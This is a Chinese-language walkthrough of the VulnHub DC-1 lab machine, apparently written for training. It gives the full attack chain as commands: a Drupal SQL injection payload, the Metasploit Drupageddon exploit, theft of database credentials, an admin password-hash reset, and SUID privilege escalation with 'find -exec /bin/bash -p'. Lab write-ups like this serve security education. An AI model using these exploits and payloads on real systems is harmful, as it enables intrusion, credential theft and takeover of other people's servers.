vulnhub DC-1靶机实战
字数 1324 2025-08-12 11:34:35
DC-1 靶机实战教学文档
0X01 环境部署
1. 下载与安装
- 下载地址: https://www.vulnhub.com/entry/dc-1,292/
- 下载后解压,使用VMware打开
- 网络模式建议调整为NAT模式(避免与主机IP冲突)
0X02 信息收集
1. 扫描目标IP
nmap -sP 192.168.23.0/24
- 确定目标IP为192.168.23.172
2. 详细扫描目标
nmap --script=vuln 192.168.23.172
- 发现CVE-2014-3704漏洞(Drupal SQL注入漏洞)
- 开放80端口(Drupal CMS)
3. 漏洞验证
- 访问http://192.168.23.172
- 确认是Drupal登录页面
- 使用Burp Suite抓包并发送SQL注入payload:
name[0 or updatexml(0,concat(0xa,database()),0)%23]=bob&name[0]=a&pass=bug&form_build_id=form-hUM-lGJvIc5NEmlo46nu_0Z7cOfyfmk6BQjvIRD4goA&form_id=user_login_block&op=Log in
- 成功获取数据库名"drupal"
0X03 Getshell
1. 使用Metasploit利用漏洞
msfconsole
search drupal
use exploit/multi/http/drupal_drupageddon
set rhosts 192.168.23.172
run
- 成功获取meterpreter会话
2. 获取flag1
cat flag1.txt
- 内容: "Every good CMS needs a config file - and so do you."
- 提示寻找配置文件
3. 寻找配置文件
cd sites
ls -la
cd default
ls -la
- 发现settings.php文件(包含数据库凭据)
- 获取flag2并发现数据库信息:
- 用户名: dbuser
- 密码: R0ck3t
- 数据库名: drupaldb
4. 数据库操作
mysql -udbuser -pR0ck3t
use drupaldb;
show tables;
select * from users;
- 获取管理员用户信息
5. 密码重置
- 查找Drupal密码哈希工具:
find / -name password-hash*
cd scripts
./password-hash.sh 123456
-
获取哈希值:
$S$DCA1kFD3ijzLGQrTKO7jqqcw7K48HZi7gaMyoUJL2hIrTQ/hoJCb -
更新数据库密码:
update users set pass='$S$DCA1kFD3ijzLGQrTKO7jqqcw7K48HZi7gaMyoUJL2hIrTQ/hoJCb' where uid =1;
6. 登录Drupal后台
- 使用新凭据: admin/123456
- 获取flag3
7. 查看系统用户
cat /etc/passwd
- 发现flag4用户
0X04 提权
1. 获取flag4
cd /home/flag4
cat flag4.txt
- 内容: "Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?"
2. 提权方法
find / -perm -u=s -type f 2>/dev/null
find / -exec "/bin/bash" -p \;
- 成功提权至root
3. 获取最终flag
cd /root
cat thefinalflag.txt
- 内容: "Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU"
0X05 总结
-
信息收集阶段:
- 使用nmap扫描网络发现目标
- 识别开放服务和已知漏洞
-
漏洞利用阶段:
- 使用Metasploit利用Drupal漏洞获取初始访问权限
-
权限提升路径:
- 通过flag提示寻找配置文件
- 获取数据库凭据并修改管理员密码
- 登录后台获取更多信息
- 利用SUID提权获取root权限
-
关键技巧:
- Drupal密码哈希生成方法
- MySQL数据库操作
- Linux权限提升技术
-
学习要点:
- 遵循flag提示逐步深入
- 利用系统自带工具进行信息收集
- 理解CMS架构和常见漏洞利用方法